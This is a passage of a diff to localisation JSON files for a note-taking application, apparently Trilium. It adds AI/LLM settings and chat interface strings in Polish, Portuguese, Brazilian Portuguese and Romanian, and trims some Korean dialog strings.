+    "cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다"
   },
   "confirm": {
     "confirmation": "확인",
     "cancel": "취소",
     "ok": "OK",
-    "are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? ",
-    "if_you_dont_check": "이 항목을 선택하지 않으면 해당 노트는 관계 맵에서만 제거됩니다.",
-    "also_delete_note": "노트를 함께 삭제"
+    "are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? "
   },
   "delete_notes": {
     "erase_notes_description": "일반(소프트) 삭제는 메모를 삭제된 것으로 표시하는 것일 뿐이며, 일정 시간 동안 (최근 변경 내용 대화 상자에서) 복구할 수 있습니다. 이 옵션을 선택하면 메모가 즉시 삭제되며 복구할 수 없습니다.",
@@ -101,10 +97,7 @@
     "broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
     "cancel": "취소",
     "ok": "OK",
-    "deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다.",
-    "delete_notes_preview": "노트 미리보기 삭제",
-    "close": "닫기",
-    "delete_all_clones_description": "모든 복제본 삭제(최근 변경 사항에서 되돌릴 수 있습니다)"
+    "deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다."
   },
   "export": {
     "export_note_title": "노트 내보내기",
@@ -115,25 +108,10 @@
     "export_in_progress": "내보내기 진행 중: {{progressCount}}",
     "export_finished_successfully": "내보내기를 성공적으로 완료했습니다.",
     "format_pdf": "PDF - 인쇄 또는 공유용",
-    "share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다.",
-    "close": "닫기",
-    "export_type_subtree": "이 노트와 모든 후손 노트",
-    "format_html": "HTML - 모든 형식 유지됨, 권장",
-    "format_html_zip": "HTML(ZIP 아카이브) - 모든 서식이 유지됨, 권장.",
-    "format_markdown": "마크다운 - 대부분의 서식이 유지됩니다.",
-    "format_opml": "OPML은 텍스트 전용 아웃라이너 교환 형식입니다. 서식, 이미지 및 파일은 포함되지 않습니다.",
-    "opml_version_1": "OPML v1.0 - 일반 텍스트만",
-    "opml_version_2": "OPML v2.0 - HTML 지원"
+    "share-format": "웹 게시용 HTML - 공유 노트에 사용되는 것과 동일한 테마를 사용하지만 정적 웹사이트로 게시할 수 있습니다."
   },
   "help": {
     "title": "치트 시트",
-    "editShortcuts": "키보드 단축키 편집",
-    "noteNavigation": "노트 내비게이션",
-    "goUpDown": "노트 목록에서 위/아래로 이동",
-    "collapseExpand": "노트 접기/펼치기",
-    "notSet": "미설정",
-    "goBackForwards": "히스토리에서 뒤로/앞으로 이동",
-    "showJumpToNoteDialog": "<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/note-navigation.html#jump-to-note\">\"노트로 이동\" 대화 상자</a> 표시",
-    "scrollToActiveNote": "활성화된 노트로 스크롤 이동"
+    "editShortcuts": "키보드 단축키 편집"
   }
 }

apps/client/src/translations/pl/translation.json

@@ -773,6 +773,149 @@
     "target_note": "notatka docelowa",
     "create_relation_on_all_matched_notes": "Na wszystkich dopasowanych notatkach utwórz podaną relację."
   },
+  "ai_llm": {
+    "actions": "Akcje",
+    "retry": "Ponów",
+    "partial": "{{ percentage }}% ukończono",
+    "retry_queued": "Notatka zakolejkowana do ponowienia",
+    "retry_failed": "Nie udało się zakolejkować notatki do ponowienia",
+    "max_notes_per_llm_query": "Maks. notatek na zapytanie",
+    "index_all_notes": "Indeksuj wszystkie notatki",
+    "index_status": "Status indeksu",
+    "indexed_notes": "Zaindeksowane notatki",
+    "indexing_stopped": "Indeksowanie zatrzymane",
+    "indexing_in_progress": "Indeksowanie w toku...",
+    "last_indexed": "Ostatnio zaindeksowane",
+    "note_chat": "Czat notatki",
+    "note_title": "Tytuł notatki",
+    "error": "Błąd",
+    "last_attempt": "Ostatnia próba",
+    "queued_notes": "Notatki w kolejce",
+    "failed_notes": "Notatki nieudane",
+    "last_processed": "Ostatnio przetworzone",
+    "refresh_stats": "Odśwież statystyki",
+    "enable_ai_features": "Włącz funkcje AI/LLM",
+    "enable_ai_description": "Włącz funkcje AI, takie jak podsumowywanie notatek, generowanie treści i inne możliwości LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Włącz funkcje AI/LLM",
+    "enable_ai_desc": "Włącz funkcje AI, takie jak podsumowywanie notatek, generowanie treści i inne możliwości LLM",
+    "provider_configuration": "Konfiguracja dostawcy AI",
+    "provider_precedence": "Kolejność dostawców",
+    "provider_precedence_description": "Lista dostawców oddzielona przecinkami w kolejności pierwszeństwa (np. 'openai,anthropic,ollama')",
+    "temperature": "Temperatura",
+    "temperature_description": "Kontroluje losowość w odpowiedziach (0 = deterministyczne, 2 = maksymalna losowość)",
+    "system_prompt": "Prompt systemowy",
+    "system_prompt_description": "Domyślny prompt systemowy używany dla wszystkich interakcji AI",
+    "openai_configuration": "Konfiguracja OpenAI",
+    "openai_settings": "Ustawienia OpenAI",
+    "api_key": "Klucz API",
+    "url": "Bazowy URL",
+    "model": "Model",
+    "openai_api_key_description": "Twój klucz API OpenAI do dostępu do ich usług AI",
+    "anthropic_api_key_description": "Twój klucz API Anthropic do dostępu do modeli Claude",
+    "default_model": "Domyślny model",
+    "openai_model_description": "Przykłady: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "Bazowy URL",
+    "openai_url_description": "Domyślnie: https://api.openai.com/v1",
+    "anthropic_settings": "Ustawienia Anthropic",
+    "anthropic_url_description": "Bazowy URL dla API Anthropic (domyślnie: https://api.anthropic.com)",
+    "anthropic_model_description": "Modele Anthropic Claude do czatu",
+    "voyage_settings": "Ustawienia Voyage AI",
+    "ollama_settings": "Ustawienia Ollama",
+    "ollama_url_description": "URL dla API Ollama (domyślnie: http://localhost:11434)",
+    "ollama_model_description": "Model Ollama do użycia w czacie",
+    "anthropic_configuration": "Konfiguracja Anthropic",
+    "voyage_configuration": "Konfiguracja Voyage AI",
+    "voyage_url_description": "Domyślnie: https://api.voyageai.com/v1",
+    "ollama_configuration": "Konfiguracja Ollama",
+    "enable_ollama": "Włącz Ollama",
+    "enable_ollama_description": "Włącz Ollama do lokalnego użycia modeli AI",
+    "ollama_url": "URL Ollama",
+    "ollama_model": "Model Ollama",
+    "refresh_models": "Odśwież modele",
+    "refreshing_models": "Odświeżanie...",
+    "enable_automatic_indexing": "Włącz automatyczne indeksowanie",
+    "rebuild_index": "Przebuduj indeks",
+    "rebuild_index_error": "Błąd podczas rozpoczynania przebudowy indeksu. Sprawdź logi po szczegóły.",
+    "max_notes_per_llm_query_description": "Maksymalna liczba podobnych notatek do uwzględnienia w kontekście AI",
+    "active_providers": "Aktywni dostawcy",
+    "disabled_providers": "Wyłączeni dostawcy",
+    "remove_provider": "Usuń dostawcę z wyszukiwania",
+    "restore_provider": "Przywróć dostawcę do wyszukiwania",
+    "similarity_threshold": "Próg podobieństwa",
+    "not_started": "Nie rozpoczęto",
+    "title": "Ustawienia AI",
+    "processed_notes": "Przetworzone notatki",
+    "total_notes": "Łącznie notatek",
+    "progress": "Postęp",
+    "similarity_threshold_description": "Minimalny wynik podobieństwa (0-1) dla notatek, które mają być uwzględnione w kontekście zapytań LLM",
+    "reprocess_index": "Przebuduj indeks wyszukiwania",
+    "reprocessing_index": "Przebudowywanie...",
+    "reprocess_index_started": "Optymalizacja indeksu wyszukiwania rozpoczęta w tle",
+    "reprocess_index_error": "Błąd podczas przebudowy indeksu wyszukiwania",
+    "index_rebuild_progress": "Postęp przebudowy indeksu",
+    "index_rebuilding": "Optymalizacja indeksu ({{percentage}}%)",
+    "index_rebuild_complete": "Optymalizacja indeksu zakończona",
+    "index_rebuild_status_error": "Błąd podczas sprawdzania statusu przebudowy indeksu",
+    "never": "Nigdy",
+    "processing": "Przetwarzanie ({{percentage}}%)",
+    "incomplete": "Niekompletne ({{percentage}}%)",
+    "complete": "Zakończone (100%)",
+    "refreshing": "Odświeżanie...",
+    "auto_refresh_notice": "Automatyczne odświeżanie co {{seconds}} sekund",
+    "note_queued_for_retry": "Notatka zakolejkowana do ponowienia",
+    "failed_to_retry_note": "Nie udało się ponowić notatki",
+    "all_notes_queued_for_retry": "Wszystkie nieudane notatki zakolejkowane do ponowienia",
+    "failed_to_retry_all": "Nie udało się ponowić notatek",
+    "ai_settings": "Ustawienia AI",
+    "api_key_tooltip": "Klucz API do dostępu do usługi",
+    "empty_key_warning": {
+      "anthropic": "Klucz API Anthropic jest pusty. Proszę wprowadzić poprawny klucz API.",
+      "openai": "Klucz API OpenAI jest pusty. Proszę wprowadzić poprawny klucz API.",
+      "voyage": "Klucz API Voyage jest pusty. Proszę wprowadzić poprawny klucz API.",
+      "ollama": "Klucz API Ollama jest pusty. Proszę wprowadzić poprawny klucz API."
+    },
+    "agent": {
+      "processing": "Przetwarzanie...",
+      "thinking": "Myślę...",
+      "loading": "Ładowanie...",
+      "generating": "Generowanie..."
+    },
+    "name": "AI",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Użyj rozszerzonego kontekstu",
+    "enhanced_context_description": "Dostarcza AI więcej kontekstu z notatki i jej powiązanych notatek dla lepszych odpowiedzi",
+    "show_thinking": "Pokaż proces myślenia",
+    "show_thinking_description": "Pokaż ciąg myślowy AI",
+    "enter_message": "Wpisz swoją wiadomość...",
+    "error_contacting_provider": "Błąd połączenia z dostawcą AI. Sprawdź swoje ustawienia i połączenie internetowe.",
+    "error_generating_response": "Błąd generowania odpowiedzi AI",
+    "sources": "Źródła",
+    "start_indexing": "Rozpocznij indeksowanie",
+    "use_advanced_context": "Użyj zaawansowanego kontekstu",
+    "ollama_no_url": "Ollama nie jest skonfigurowana. Proszę wprowadzić poprawny URL.",
+    "chat": {
+      "root_note_title": "Czaty AI",
+      "root_note_content": "Ta notatka zawiera twoje zapisane rozmowy czatu AI.",
+      "new_chat_title": "Nowy czat",
+      "create_new_ai_chat": "Utwórz nowy czat AI"
+    },
+    "create_new_ai_chat": "Utwórz nowy czat AI",
+    "configuration_warnings": "Istnieją pewne problemy z twoją konfiguracją AI. Proszę sprawdzić ustawienia.",
+    "experimental_warning": "Funkcja LLM jest obecnie eksperymentalna - zostałeś ostrzeżony.",
+    "selected_provider": "Wybrany dostawca",
+    "selected_provider_description": "Wybierz dostawcę AI dla funkcji czatu i uzupełniania",
+    "select_model": "Wybierz model...",
+    "select_provider": "Wybierz dostawcę...",
+    "ai_enabled": "Funkcje AI włączone",
+    "ai_disabled": "Funkcje AI wyłączone",
+    "no_models_found_online": "Nie znaleziono modeli. Proszę sprawdzić klucz API i ustawienia.",
+    "no_models_found_ollama": "Nie znaleziono modeli Ollama. Proszę sprawdzić, czy Ollama jest uruchomiona.",
+    "error_fetching": "Błąd pobierania modeli: {{error}}"
+  },
   "prompt": {
     "title": "Monit",
     "ok": "OK",

apps/client/src/translations/pt/translation.json

@@ -1179,6 +1179,149 @@
     "enable-smooth-scroll": "Activar deslocamento suave",
     "app-restart-required": "(é necessário reiniciar a aplicação para aplicar as alterações)"
   },
+  "ai_llm": {
+    "not_started": "Não iniciado",
+    "title": "Configurações de IA",
+    "processed_notes": "Notas Processadas",
+    "total_notes": "Total de Notas",
+    "progress": "Andamento",
+    "queued_notes": "Notas Enfileiradas",
+    "failed_notes": "Notas com Falha",
+    "last_processed": "Últimas Processadas",
+    "refresh_stats": "Atualizar Estatísticas",
+    "enable_ai_features": "Ativar recurso IA/LLM",
+    "enable_ai_description": "Ativar recursos IA como sumarização de notas, geração de conteúdo e outras capacidades de LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Ativar recursos IA/LLM",
+    "enable_ai_desc": "Ativar recursos de IA como sumarização de notas, geração de conteúdo e outras capacidades de LLM",
+    "provider_configuration": "Configuração de Provedor de IA",
+    "provider_precedence": "Prioridade de provedor",
+    "provider_precedence_description": "Lista de provedores em ordem de prioridade, separados por vírgula (por exemplo, 'openai, anthropic, ollama')",
+    "temperature": "Temperatura",
+    "temperature_description": "Controla a aleatoriedade em respostas (0 = determinística, 2 = aleatoriedade máxima)",
+    "system_prompt": "Prompt de Sistema",
+    "system_prompt_description": "Prompt padrão de sistema usado para todas as interações de IA",
+    "openai_configuration": "Configuração OpenAI",
+    "openai_settings": "Opções OpenAI",
+    "api_key": "Chave de API",
+    "url": "URL Base",
+    "model": "Modelo",
+    "openai_api_key_description": "A sua API Key da OpenAI para aceder os serviços de IA",
+    "anthropic_api_key_description": "A sua API Key da Anthropic para aceder os modelos Claude",
+    "default_model": "Modelo Padrão",
+    "openai_model_description": "Exemplos: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL Base",
+    "openai_url_description": "Padrão: https://api.openai.com/v1",
+    "anthropic_settings": "Configurações Anthropic",
+    "anthropic_url_description": "URL Base da API Anthropic (padrão: https://api.anthropic.com)",
+    "anthropic_model_description": "Modelos Claude da Anthropic para completar conversas",
+    "voyage_settings": "Configurações Voyage AI",
+    "ollama_settings": "Configurações do Ollama",
+    "ollama_url_description": "URL para a API Ollama (padrão: http://localhost:11434)",
+    "ollama_model_description": "Modelo Ollama usado para complementação de chat",
+    "anthropic_configuration": "Configuração da Anthropic",
+    "voyage_configuration": "Configuração da Voyage IA",
+    "voyage_url_description": "Padrão: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configuração da Ollama",
+    "enable_ollama": "Ativar Ollama",
+    "enable_ollama_description": "Ativar Ollama para uso do modelo local de IA",
+    "ollama_url": "URL da Ollama",
+    "ollama_model": "Modelo do Ollama",
+    "refresh_models": "Atualizar Modelos",
+    "refreshing_models": "A atualizar…",
+    "enable_automatic_indexing": "Ativar indexação automática",
+    "rebuild_index": "Reconstruir Índice",
+    "rebuild_index_error": "Ocorreu um erro ao iniciar a reconstrução do índice. Verifique os logs para obter pormenores.",
+    "note_title": "Título da nota",
+    "error": "Erro",
+    "last_attempt": "Última Tentativa",
+    "actions": "Ações",
+    "retry": "Tentar novamente",
+    "partial": "{{ percentage }}% concluído",
+    "retry_queued": "Nota enfileirada para nova tentativa",
+    "retry_failed": "Falha ao enfileirar nota para nova tentativa",
+    "max_notes_per_llm_query": "Máximo de Notas por Consulta",
+    "max_notes_per_llm_query_description": "Quantidade máxima de notas similares para incluir no contexto da IA",
+    "active_providers": "Provedores Ativos",
+    "disabled_providers": "Provedores Desativados",
+    "remove_provider": "Remover provedor da pesquisa",
+    "restore_provider": "Restaurar provedor na pesquisa",
+    "similarity_threshold": "Tolerância de Similaridade",
+    "similarity_threshold_description": "Pontuação máxima de similaridade (0-1) para notas a serem incluídas no contexto das consultas de LLM",
+    "reprocess_index": "Reconstruir Índice de Pesquisa",
+    "reprocessing_index": "A reconstruir…",
+    "reprocess_index_started": "Otimiação do índice de pesquisa iniciado em plano de fundo",
+    "reprocess_index_error": "Erro ao reconstruir índice de pesquisa",
+    "index_rebuild_progress": "Andamento da Reconstrução do Índice",
+    "index_rebuilding": "A otimizar índice ({{percentage}}%)",
+    "index_rebuild_complete": "Otimização de índice finalizada",
+    "index_rebuild_status_error": "Erro ao verificar o estado da reconstrução do índice",
+    "never": "Nunca",
+    "processing": "A processar ({{percentage}}%)",
+    "incomplete": "Incompleto ({{percentage}}%)",
+    "complete": "Completo (100%)",
+    "refreshing": "A atualizar…",
+    "auto_refresh_notice": "A atualizar automaticamente a cada {{seconds}} segundos",
+    "note_queued_for_retry": "Nota enfileirada para nova tentativa",
+    "failed_to_retry_note": "Falha ao retentar nota",
+    "all_notes_queued_for_retry": "Todas as notas com falha enfileiradas para nova tentativa",
+    "failed_to_retry_all": "Falha ao retentar notas",
+    "ai_settings": "Configurações IA",
+    "api_key_tooltip": "Chave de API para aceder o serviço",
+    "empty_key_warning": {
+      "anthropic": "A chave de API Anthropic está vazia. Por favor, digite uma chave de API válida.",
+      "openai": "A chave de API OpenAI está vazia. Por favor, digite uma chave de API válida.",
+      "voyage": "A chave de API da Voyage API está vazia. Por favor, digite uma chave de API válida.",
+      "ollama": "A chave de API da Ollama API está vazia. Por favor, digite uma chave de API válida."
+    },
+    "agent": {
+      "processing": "A processar…",
+      "thinking": "A pensar…",
+      "loading": "A carregar…",
+      "generating": "A gerir…"
+    },
+    "name": "IA",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Usar contexto aprimorado",
+    "enhanced_context_description": "Alimentar IA com mais contexto sobre a nota e as suas notas relacionadas para melhores respostas",
+    "show_thinking": "Exibir pensamento",
+    "show_thinking_description": "Exibir o processo de linha de raciocínio da AI",
+    "enter_message": "Digite a sua mensagem…",
+    "error_contacting_provider": "Erro ao contactar o provedor de IA. Por favor, verifique as suas configurações e a sua conexão à internet.",
+    "error_generating_response": "Erro ao gerar resposta da IA",
+    "index_all_notes": "Indexar Todas as Notas",
+    "index_status": "Estado do Índice",
+    "indexed_notes": "Notas Indexadas",
+    "indexing_stopped": "Indexação interrompida",
+    "indexing_in_progress": "Indexação em andamento…",
+    "last_indexed": "Última Indexada",
+    "note_chat": "Conversa de Nota",
+    "sources": "Origens",
+    "start_indexing": "Iniciar Indexação",
+    "use_advanced_context": "Usar Contexto Avançado",
+    "ollama_no_url": "Ollama não está configurado. Por favor, digite uma URL válida.",
+    "chat": {
+      "root_note_title": "Conversas IA",
+      "root_note_content": "Esta nota contém as suas conversas com IA gravdas.",
+      "new_chat_title": "Nova Conversa",
+      "create_new_ai_chat": "Criar Conversa IA"
+    },
+    "create_new_ai_chat": "Criar Conversa IA",
+    "configuration_warnings": "Há problemas com a sua configuração de IA. Por favor, verifique as suas configurações.",
+    "experimental_warning": "O recurso de LLM atualmente é experimental - você foi avisado.",
+    "selected_provider": "Provedor Selecionado",
+    "selected_provider_description": "Escolha o provedor de IA para conversas e recursos de completar",
+    "select_model": "Selecionar modelo…",
+    "select_provider": "Selecionar provedor…",
+    "ai_enabled": "Recursos de IA ativados",
+    "ai_disabled": "Recursos de IA desativados",
+    "no_models_found_online": "Nenhum modelo encontrado. Por favor, verifique a sua chave de API e as configurações.",
+    "no_models_found_ollama": "Nenhum modelo Ollama encontrado. Por favor, verifique se o Ollama está em execução.",
+    "error_fetching": "Erro ao obter modelos: {{error}}"
+  },
   "zoom_factor": {
     "title": "Fator do Zoom (apenas versão de área de trabalho)",
     "description": "O zoom também pode ser controlado com atalhos CTRL+- e CTRL+=."
@@ -1548,6 +1691,7 @@
     "confirm-change": "Não é recomentado alterar o tipo da nota quando o conteúdo da nota não está vazio. Quer continuar assim mesmo?",
     "geo-map": "Mapa geográfico",
     "beta-feature": "Beta",
+    "ai-chat": "Chat IA",
     "task-list": "Lista de Tarefas",
     "new-feature": "Novo",
     "collections": "Coleções"

apps/client/src/translations/pt_br/translation.json

@@ -85,6 +85,149 @@
     "clone_to_selected_note": "Clonar para a nota selecionada",
     "note_cloned": "A nota \"{{clonedTitle}}\" foi clonada para \"{{targetTitle}}\""
   },
+  "ai_llm": {
+    "temperature": "Temperatura",
+    "retry_queued": "Nota enfileirada para nova tentativa",
+    "queued_notes": "Notas Enfileiradas",
+    "empty_key_warning": {
+      "voyage": "A chave de API da Voyage API está vazia. Por favor, digite uma chave de API válida.",
+      "ollama": "A chave de API da Ollama API está vazia. Por favor, digite uma chave de API válida.",
+      "anthropic": "A chave de API Anthropic está vazia. Por favor, digite uma chave de API válida.",
+      "openai": "A chave de API OpenAI está vazia. Por favor, digite uma chave de API válida."
+    },
+    "not_started": "Não iniciado",
+    "title": "Configurações de IA",
+    "processed_notes": "Notas Processadas",
+    "total_notes": "Total de Notas",
+    "progress": "Andamento",
+    "failed_notes": "Notas com Falha",
+    "last_processed": "Últimas Processadas",
+    "refresh_stats": "Atualizar Estatísticas",
+    "enable_ai_features": "Ativar recurso IA/LLM",
+    "enable_ai_description": "Ativar recursos IA como sumarização de notas, geração de conteúdo, e outras capacidades de LLM",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "enable_ai": "Ativar recursos IA/LLM",
+    "provider_configuration": "Configuração de Provedor de IA",
+    "system_prompt": "Prompt de Sistema",
+    "system_prompt_description": "Prompt padrão de sistema usado para todas as interações de IA",
+    "openai_configuration": "Configuração OpenAI",
+    "openai_settings": "Opções OpenAI",
+    "api_key": "Chave de API",
+    "url": "URL Base",
+    "model": "Modelo",
+    "openai_api_key_description": "Sua API Key da OpenAI para acessar os serviços de IA",
+    "anthropic_api_key_description": "Sua API Key da Anthropic para acessar os modelos Claude",
+    "default_model": "Modelo Padrão",
+    "openai_model_description": "Exemplos: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL Base",
+    "openai_url_description": "Padrão: https://api.openai.com/v1",
+    "anthropic_settings": "Configurações Anthropic",
+    "anthropic_url_description": "URL Base da API Anthropic (padrão: https://api.anthropic.com)",
+    "anthropic_model_description": "Modelos Claude da Anthropic para completar conversas",
+    "voyage_settings": "Configurações Voyage AI",
+    "retry": "Tentar novamente",
+    "retry_failed": "Falha ao enfileirar nota para nova tentativa",
+    "max_notes_per_llm_query": "Máximo de Notas por Consulta",
+    "max_notes_per_llm_query_description": "Número máximo de notas similares para incluir no contexto da IA",
+    "active_providers": "Provedores Ativos",
+    "disabled_providers": "Provedores Desativados",
+    "remove_provider": "Remover provedor da pesquisa",
+    "restore_provider": "Restaurar provedor na pesquisa",
+    "similarity_threshold": "Tolerância de Similaridade",
+    "similarity_threshold_description": "Pontuação máxima de similaridade (0-1) para notas a serem incluídas no contexto das consultas de LLM",
+    "reprocess_index": "Reconstruir Índice de Pesquisa",
+    "reprocessing_index": "Reconstruindo…",
+    "reprocess_index_started": "Otimiação do índice de pesquisa iniciado em plano de fundo",
+    "reprocess_index_error": "Erro ao reconstruir índice de pesquisa",
+    "index_rebuild_progress": "Andamento da Reconstrução do Índice",
+    "index_rebuilding": "Otimizando índice ({{percentage}}%)",
+    "index_rebuild_complete": "Otimização de índice finalizada",
+    "index_rebuild_status_error": "Erro ao verificar o estado da reconstrução do índice",
+    "never": "Nunca",
+    "processing": "Processando ({{percentage}}%)",
+    "incomplete": "Incompleto ({{percentage}}%)",
+    "complete": "Completo (100%)",
+    "refreshing": "Atualizando…",
+    "auto_refresh_notice": "Atualizando automaticamente a cada {{seconds}} segundos",
+    "note_queued_for_retry": "Nota enfileirada para nova tentativa",
+    "failed_to_retry_note": "Falha ao retentar nota",
+    "all_notes_queued_for_retry": "Todas as notas com falha enfileiradas para nova tentativa",
+    "failed_to_retry_all": "Falha ao retentar notas",
+    "ai_settings": "Configurações IA",
+    "api_key_tooltip": "Chave de API para acessar o serviço",
+    "agent": {
+      "processing": "Processando…",
+      "thinking": "Pensando…",
+      "loading": "Carregando…",
+      "generating": "Gerando…"
+    },
+    "name": "IA",
+    "openai": "OpenAI",
+    "use_enhanced_context": "Usar contexto aprimorado",
+    "enhanced_context_description": "Alimentar IA com mais contexto sobre a nota e suas notas relacionadas para melhores respostas",
+    "show_thinking": "Exibir pensamento",
+    "enter_message": "Digite sua mensagem…",
+    "error_contacting_provider": "Erro ao contatar o provedor de IA. Por favor, verifique suas configurações e sua conexão de internet.",
+    "error_generating_response": "Erro ao gerar resposta da IA",
+    "index_all_notes": "Indexar Todas as Notas",
+    "index_status": "Estado do Índice",
+    "indexed_notes": "Notas Indexadas",
+    "indexing_stopped": "Indexação interrompida",
+    "indexing_in_progress": "Indexação em andamento…",
+    "last_indexed": "Última Indexada",
+    "note_chat": "Conversa de Nota",
+    "sources": "Origens",
+    "start_indexing": "Iniciar Indexação",
+    "use_advanced_context": "Usar Contexto Avançado",
+    "ollama_no_url": "Ollama não está configurado. Por favor, digite uma URL válida.",
+    "chat": {
+      "root_note_title": "Conversas IA",
+      "root_note_content": "Esta nota contém suas conversas com IA salvas.",
+      "new_chat_title": "Nova Conversa",
+      "create_new_ai_chat": "Criar nova Conversa IA"
+    },
+    "create_new_ai_chat": "Criar nova Conversa IA",
+    "configuration_warnings": "Existem alguns problemas com sua configuração de IA. Por fovor, verifique suas configurações.",
+    "experimental_warning": "O recurso de LLM atualmente é experimental - você foi avisado.",
+    "selected_provider": "Provedor Selecionado",
+    "selected_provider_description": "Escolha o provedor de IA para conversas e recursos de completar",
+    "select_model": "Selecionar modelo…",
+    "select_provider": "Selecionar provedor…",
+    "ai_enabled": "Recursos de IA habilitados",
+    "ai_disabled": "Recursos de IA desabilitados",
+    "no_models_found_online": "Nenhum modelo encontrado. Por favor, verifique sua chave de API e as configurações.",
+    "no_models_found_ollama": "Nenhum modelo Ollama encontrado. Por favor, verifique se o Ollama está em execução.",
+    "error_fetching": "Erro ao obter modelos: {{error}}",
+    "ollama_tab": "Ollama",
+    "enable_ai_desc": "Habilitar recursos de IA como sumarização de notas, geração de conteúdo, e outras capacidades de LLM",
+    "provider_precedence": "Prioridade de provedor",
+    "provider_precedence_description": "Lista de provedores em ordem de prioridade, separados por vírgula (por exemplo, 'openai, anthropic, ollama')",
+    "temperature_description": "Controla a aleatoriedade em respostas (0 = determinística, 2 = aleatoriedade máxima)",
+    "ollama_settings": "Configurações do Ollama",
+    "ollama_url_description": "URL para a API Ollama (padrão: http://localhost:11434)",
+    "ollama_model_description": "Modelo Ollama usado para complementação de chat",
+    "anthropic_configuration": "Configuração da Anthropic",
+    "voyage_configuration": "Configuração da Voyage IA",
+    "voyage_url_description": "Padrão: https://api.voyageai.com/v1",
+    "ollama_configuration": "Configuração da Ollama",
+    "enable_ollama": "Habilitar Ollama",
+    "enable_ollama_description": "Habilitar Ollama para uso do modelo local de IA",
+    "ollama_url": "URL da Ollama",
+    "ollama_model": "Modelo do Ollama",
+    "refresh_models": "Atualizar Modelos",
+    "refreshing_models": "Atualizando…",
+    "enable_automatic_indexing": "Habilitar indexação automática",
+    "rebuild_index": "Reconstruir Índice",
+    "rebuild_index_error": "Ocorreu um erro ao iniciar a reconstrução do índice. Verifique os logs para obter detalhes.",
+    "note_title": "Título da nota",
+    "error": "Erro",
+    "last_attempt": "Última Tentativa",
+    "actions": "Ações",
+    "partial": "{{ percentage }}% concluído",
+    "show_thinking_description": "Exibir o processo de linha de raciocínio da AI"
+  },
   "confirm": {
     "confirmation": "Confirmação",
     "cancel": "Cancelar",
@@ -1432,6 +1575,7 @@
     "confirm-change": "Não é recomentado alterar o tipo da nota quando o conteúdo da nota não está vazio. Quer continuar assim mesmo?",
     "geo-map": "Mapa geográfico",
     "beta-feature": "Beta",
+    "ai-chat": "Chat IA",
     "task-list": "Lista de Tarefas",
     "new-feature": "Novo",
     "collections": "Coleções",

apps/client/src/translations/ro/translation.json

@@ -1457,6 +1457,7 @@
     "geo-map": "Hartă geografică",
     "beta-feature": "Beta",
     "task-list": "Listă de sarcini",
+    "ai-chat": "Discuție cu AI-ul",
     "new-feature": "Nou",
     "collections": "Colecții"
   },
@@ -1834,6 +1835,149 @@
     "lock-editing": "Blochează editarea",
     "unlock-editing": "Deblochează editarea"
   },
+  "ai_llm": {
+    "not_started": "Nu s-a pornit",
+    "title": "Setări AI",
+    "processed_notes": "Notițe procesate",
+    "total_notes": "Totalul de notițe",
+    "progress": "Progres",
+    "queued_notes": "Notițe în curs de procesare",
+    "failed_notes": "Notițe ce au eșuat",
+    "last_processed": "Ultima procesare",
+    "refresh_stats": "Reîmprospătare statistici",
+    "enable_ai_features": "Activează funcțiile AI/LLM",
+    "enable_ai_description": "Activează funcțiile AI precum sumarizarea notițelor, generarea de conținut și alte capabilități ale LLM-ului",
+    "openai_tab": "OpenAI",
+    "anthropic_tab": "Anthropic",
+    "voyage_tab": "Voyage AI",
+    "ollama_tab": "Ollama",
+    "enable_ai": "Activează funcții AI/LLM",
+    "enable_ai_desc": "Activează funcțiile AI precum sumarizarea notițelor, generarea de conținut și alte capabilități ale LLM-ului",
+    "provider_configuration": "Setările furnizorului de AI",
+    "provider_precedence": "Ordinea de precedență a furnizorilor",
+    "provider_precedence_description": "Lista de furnizori în ordinea de precedență, separate de virgulă (ex. „openai,anthropic,ollama”)",
+    "temperature": "Temperatură",
+    "temperature_description": "Controlează aleatoritatea din răspunsuri (0 = deterministic, 2 = maxim aleator)",
+    "system_prompt": "Prompt-ul de sistem",
+    "system_prompt_description": "Prompt-ul de sistem folosit pentru toate interacțiunile cu AI-ul",
+    "openai_configuration": "Configurația OpenAI",
+    "openai_settings": "Setările OpenAI",
+    "api_key": "Cheie API",
+    "url": "URL de bază",
+    "model": "Model",
+    "openai_api_key_description": "Cheia de API din OpenAI pentru a putea accesa serviciile de AI",
+    "anthropic_api_key_description": "Cheia de API din Anthropic pentru a accesa modelele Claude",
+    "default_model": "Modelul implicit",
+    "openai_model_description": "Exemple: gpt-4o, gpt-4-turbo, gpt-3.5-turbo",
+    "base_url": "URL de bază",
+    "openai_url_description": "Implicit: https://api.openai.com/v1",
+    "anthropic_settings": "Setări Anthropic",
+    "anthropic_url_description": "URL de bază pentru API-ul Anthropic (implicit: https://api.anthropic.com)",
+    "anthropic_model_description": "Modele Anthropic Claude pentru auto-completare",
+    "voyage_settings": "Setări Voyage AI",
+    "ollama_settings": "Setări Ollama",
+    "ollama_url_description": "URL pentru API-ul Ollama (implicit: http://localhost:11434)",
+    "ollama_model_description": "Modelul Ollama pentru auto-completare",
+    "anthropic_configuration": "Configurația Anthropic",
+    "voyage_configuration": "Configurația Voyage AI",
